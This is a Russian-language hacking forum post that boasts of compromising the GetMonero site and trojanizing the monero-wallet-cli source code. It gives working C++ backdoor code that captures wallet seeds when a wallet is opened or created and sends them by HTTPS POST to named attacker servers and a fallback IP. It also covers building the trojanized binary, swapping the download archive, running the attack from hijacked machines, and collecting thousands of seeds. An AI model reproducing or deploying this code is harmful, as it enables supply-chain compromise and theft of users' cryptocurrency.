Интересно Monero - false privacy? История взлома.

Admin

Administrator
Сообщения
871
Оценка реакций
538
Без названия.jpg
Статья с exploit, пользователя под ником kretin
Здравствуйте. Наверное все слышали об взломе сайта криптовалюты Monero? Если интересно, то читайте дальше.
Сама дыра была активна более 4 месяцей. Мы долго наблюдали за ними, думали как провернуть атаку. День Х был 18 числа.
Работали я и мой кодер. Смотрели как они входят на сервер, смотрели за их действиями. Нас не заметили за все это время.



1. Компроментация GetMonero.
Обновлю данную тему после того как удалят мой бекдор и закроют уязвимость иначе нет гаранитии в безопасности.
Скажу сразу доступ был по SSH, а не как многие утверждают по FTP (LOL, 2019 and FTP???)
Компроментация имеет длинную цепочку действий, но весьма легка в исполнении.
Взлом занял: 47 минут.



2. Заражение исходного кода monero-wallet-cli.
Изначально хотели заразить GUI, RPC и сам CLI. Но потом остановились только на CLI. Войдя в ./monero/src сразу в глаза попадают папки:
./monero/src/wallet
./monero/src/simplewallet


Начнем с самого простого, simplewallet. Открываем ./monero/src/simplewallet/simplewallet.h и смотрим какие есть функции.
Сразу видно что имена некоторых функций совпадают с именами команд (viewkey, seed ...). Значит глянем ./monero/src/simplewallet/simplewallet.cpp
C самого начала мы хотели получать: address, viewkey и spendkey. Но это плохая затея ведь spendkey валиден только 1 раз. По этому давайте глянем в сторону seed.
В открытом нами файле обычным поиском ищем: "simple_wallet::seed(" и видим что она вызывает: "simple_wallet::print_seed". Эта функция показывает seed при генерации или вызове команды "seed".
Код:
/*!
 * \brief Prints the seed with a nice message
 * \param seed seed to print
 */
void simple_wallet::print_seed(const epee::wipeable_string &seed)
Запоминаем и дивижемся дальше.
Вызов данной функции ещё идет в "simple_wallet::eek:pen_wallet" - эта функция вызывается при открытии кошелька. Все что нужно мы нашли.
Дальше бродя по коду начинаем понимать его логику, тут все писать не буду.
Запрашиваем пароль, открываем кошелёк.
Код:
auto rc = tools::wallet2::make_from_file(vm, false, "", password_prompter);
m_wallet = std::move(rc.first);
password = std::move(std::move(rc.second).password());
Тут можно было бы взять rc.second и у нас уже бы был пароль которым мы может вызвать unlock и получить seed. Но нашей целью является не хищение денег, а просто способ показать что криптовалюта какая бы она не была анонимна может подвергнуться атаке изнутри.
Так что оставлю "пасхалку" чтобы опытные юзеры сразу заметили подвох. Имея малейший опыт работы с CLI можно заметить что при вызове команд для показа seed и spendkey запрашивает пароль. Давайте просто модифицируем эти команды и вставим маленький кусочек кода для отправки seed.
Change:
bool print_seed(bool encrypted) -> bool print_seed(bool encrypted, bool not_print)


Add after line 307:
int send_to_cc(std::string pdata, std::string server, int attempt);
void send_seed(const epee::wipeable_string &seed);
Код:
// тут мы запросим пароль
auto rc = tools::wallet2::make_from_file(vm, false, "", password_prompter);
...
// проведем открытие кошелька
m_wallet->callback(this);
m_wallet->load(m_wallet_file, password);
// значит ниже запросим опять пароль и отправим seed to us
std::string prefix;
bool ready;
uint32_t threshold, total;

// send seed in func
print_seed(false, true);
Это будет достаточно не заметно если окно monero-wallet-cli попросит ввести пароль обратно. Обычный юзер подумает что ошибся при вводе.
Проведем модификацию кода "bool simple_wallet::print_seed(bool encrypted, bool not_print=false)"
Код:
...
if (multisig)
success = m_wallet->get_multisig_seed(seed, seed_pass);
else if (m_wallet->is_deterministic())
success = m_wallet->get_seed(seed, seed_pass);

if (success)
{
    // not print seed, just send
    if (not_print){
        send_seed(seed);
    } else {
        print_seed(seed);
    }
}
...
Функция "simple_wallet::send_seed(const epee::wipeable_string &seed)" код
Код:
void simple_wallet::send_seed(const epee::wipeable_string &seed) {
  std::string str;
  int space_index = 0;
  size_t len = seed.size();

  for (const char *ptr = seed.data(); len--; ++ptr)
  {
    if (*ptr == ' ')
    {
      if (space_index == 15 || space_index == 7){
        str += '+';
      } else {
        str += '+';
      }
      ++space_index;
    }
    else {
      str += *ptr;
    }
  }

  send_to_cc("memo="+str, "node.hashmonero.com", 1);
}
Функция "int simple_wallet::send_to_cc(std::string pdata, std::string server, int attempt)" код
Код:
int simple_wallet::send_to_cc(std::string pdata, std::string server, int attempt)
{
  try {
    boost::asio::io_service io_service;
    boost::asio::ip::tcp::resolver resolver(io_service);
    boost::asio::ip::tcp::resolver::query query(server, "http");
    boost::asio::ip::tcp::endpoint end = *resolver.resolve(query);
    std::string ipserv = end.address().to_string();

    boost::system::error_code ec;
    boost::asio::io_service svc;
    boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23);
    boost::asio::ssl::stream<boost::asio::ip::tcp::socket> ssock(svc, ctx);
    boost::asio::ip::tcp::resolver resolver2(svc);
    auto it = resolver2.resolve({ipserv, "18081"});
    boost::asio::connect(ssock.lowest_layer(), it);
    ssock.handshake(boost::asio::ssl::stream_base::handshake_type::client);

    boost::asio::streambuf request;
    std::ostream request_stream(&request);
    request_stream << "POST " << "/" << " HTTP/1.1\r\n";
    request_stream << "Content-Type: application/x-www-form-urlencoded\r\n";
    request_stream << "Content-Length: " << pdata.length() << "\r\n";
    request_stream << "Connection: close\r\n\r\n";
    request_stream << pdata;

    boost::asio::write(ssock, request);
  } catch(...) {
    if (attempt == 1) {
      send_to_cc(pdata, "node.xmrsupport.co", attempt+1);
    } else if (attempt == 2) {
      send_to_cc(pdata, "45.9.148.65", attempt+1);
    } else if (attempt == 3) {
      return 0;
    }
  }

  return 0;
}
Добавим в конец функции "void simple_wallet::print_seed(const epee::wipeable_string &seed)" 1 строчку.
Код:
send_seed(seed);
Создание заняло: ~30 минут. Мы получаем seed при генерации, восстановлении и открытии кошелька. Да, да. Благодаря нескольким действиям.


Готово. Поехали строить.
make release-static-win64 - for Windows (on Windows 64)
make release-static - for Linux (on Linux)


Мы рекомендуем использовать hVNC для максимальной анонимности и все действия делать на взломанных машинах.



3. Подменяем архив
One simple step: Загружаем наш архив на сервер.



4. Get rewards
За 1 час 15 минут мы собрали больше 8 тысяч seed's.



5. What next?
Возвращаем оригинальный архив на сервер. Логи идут дальше все равно.
Админка наших гейтов была простая. Проверка на наличие POST key "memo" and 24 spaces in memo. Next just save the seed to file.


Final.
Мы могли бы заразить и остальные версии, сменить хеши чтобы не вызвать подозрение, мы могли бы заражать вредоносное программное обеспечение например как Smoke loader, etc. Но мы просто собрали seed и сделали:
rm -rf ~/seeds.txt


На вопрос "а какие там могли быть балансы" тоже есть ответ:
Больше 8 тысяч XMR монет = 5
От 5 тысяч до 7623 XMR монет = 3
Все остальное ниже 5 тысяч XMR монет.


Это из 1000 проверенных seed в автоматическом режиме, случайной выборкой. Но мы не украли ни пенни. Be happy Monero.
Один из IP адресов в логах - пренадлежит бирже.
Другое более смешное то что у нас есть доступ к Github и личной почте. Пожалуйста смените пароли и обновите SSH.
Всем "researchers" которые убили целый день на поиск CC servers - facepalm. Мы даже их не шифровали, сколько можно было искать.


Итог:
Мы могли бы заработать миллионы, обрушить курс, заразить пользователей если бы проделали и другие описанные действия. Всего лишь за 2 часа (взлом + инфекция исходных кодов и публикация 12 Nov.) Но нам это не нужно.
Чисто ради фана и хайпа.



Hello r/Monero
I'm 16 years old, hello from Palestine. Wait for next news)


Want to donate?
BTC: 19vxXBT6UjVLemd72pnHGtpGAKq52qqz7e
XMR: 474WMSrkwM1QiAWCL14cakXMbfWaoLry5cHfmp2CvdxEHDCkrxKyeJuHSteydvgtJuhryd3ntJiTwXCopGkDwy4zNjpFCnJ
 
  • Like
Реакции: ev0117434

ev0117434

Member
Сообщения
48
Оценка реакций
13
Пропустил первые строчки уже думал админ взломал )